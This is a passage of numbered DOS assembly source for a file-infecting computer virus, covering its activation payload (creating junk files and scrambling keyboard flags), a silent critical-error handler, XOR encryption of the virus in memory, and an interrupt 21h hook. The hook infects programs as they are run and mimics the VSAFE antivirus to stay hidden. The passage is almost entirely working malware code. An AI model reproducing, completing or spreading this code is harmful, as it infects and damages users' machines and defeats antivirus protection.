  884. ;----------------------------------------------------------
  885. ; activation routine
  886. ;
  887. act_routine:
  888.     push    ax bx cx ds dx bp es cs
  889.     pop    ds
  890.     mov    activate,0        ;we're in work now..
  891.     lea    dx,pin_dir        ;create our subdirectory
  892.     mov    ah,39h
  893.     int    21h
  894.     mov    ah,3bh            ;change to our new subdirectory
  895.     int    21h
  896.  
  897.     lea    dx,file1        ;offset of first filename
  898.     mov    bp,msg_filez        ;# of filez total
  899. make_msg:
  900.     xor    cx,cx            ;null attribs
  901.     mov    ah,3ch
  902.     int    21h            ;create phile
  903.     jc    dont_close
  904.     xchg    ax,bx
  905.     mov    ah,3eh            ;close phile
  906.     int    21h
  907. dont_close: add    dx,9            ;point to next phile
  908.     dec    bp
  909.     jnz    make_msg
  910.  
  911.     lea    dx,root            ; change back to orginal dir
  912.     mov    ah,3bh
  913.     int    21h
  914.  
  915.     cmp    r_delay,5        ;5 calls?
  916.     jl    r_no            ;if not then skip keyboard ror
  917.     mov    r_delay,-1
  918.     xor    ax,ax            ;es=null
  919.     mov    es,ax
  920.     ror    word ptr es: [416h],1    ;rotate keyboard flags
  921. r_no:
  922.     inc    r_delay            ;increment calls count
  923.     mov    activate,1
  924.     pop    es bp dx ds cx bx ax
  925.     jmp    no_act
  926.  
  927. ;-------------------------------------------------------
  928. ; Interrupt 24h - critical error handler
  929. ;
  930. new_24:                    ; critical error handler
  931.     mov    al,3            ; prompts suck, return fail
  932.     iret
  933.  
  934. ;---------------------------------------------------------
  935. ; In-memory encryption function
  936. ;  **virus encrypted in memory up to this point**
  937. ;
  938. mem_crypt:
  939.     mov    cx,offset mem_crypt-offset code_start
  940.     xor    di,di            ;offset 0
  941. mem_loop:
  942.     db    2Eh,81h,35h        ;CS:XOR WORD PTR [DI],
  943. mem_word dw    0            ;XXXX
  944.     inc    di
  945.     loop    mem_loop
  946.     ret
  947.  
  948. ;----------------------------------------------------------
  949. ; Interrupt 21h
  950. ;  returns SI=0 and passes control to normal handler if
  951. ;   VSAFE uninstall command is recieved.
  952. ;
  953. new21:
  954.     pushf
  955.  
  956.     cmp    cs: activate,1        ; time to activate?
  957.     jnz    no_act
  958.     cmp    ah,0Bh
  959.     jl    act_routine
  960. no_act:
  961.     cmp    ax,signal        ; be it us?
  962.     jnz    not_us            ; richtig..
  963.     cmp    dx,vsafe_word
  964.     jnz    not_us
  965.     xor    si,si            ; tis us
  966.     mov    di,4559h        ; simulate VSAFE return
  967. not_us:
  968.     cmp    ah,4bh            ; execute phile?
  969.     jnz    jmp_org
  970.  
  971. go_now:    push    ax bp bx cx di dx ds es si
  972.     call    mem_crypt        ; decrypt in memory
  973.     call    infect_file        ; the mother of all calls
  974.     call    mem_crypt        ; encrypt in memory
  975.     pop    si es ds dx di cx bx bp ax
  976.  
  977.     jmp_org:
  978.     popf
  979.     db    0eah            ; jump far
  980.     old21    dd 0            ; O:S
  981.  
  982.  
  983. exe_header:
  984. org_bytes db    0CDh,20h,0,0        ; original COM bytes | exe hdr
  985. ;---- Start of heap (not written to disk)
  986. heap:
  987. db    14h    dup(0)            ; remaining exe header space
  988. old_24_off dw    0            ; old int24h vector
  989. old_24_seg dw    0
  990. r_delay    db    0
  991. size_disp db    0            ; additional size of virus
  992. IF XTRA_SPACE
  993. db      0DDh    dup(0)                  ; xtra space for random write
  994.                     ; otherwise decryptor will be
  995.                     ; written twice - could make it
  996.                     ; vulnerable
  997. ENDIF
  998. vend:                    ; end of virus in memory..
  999. cseg    ends
  1000.     end    start
  1001.  
  1002.  
  1003.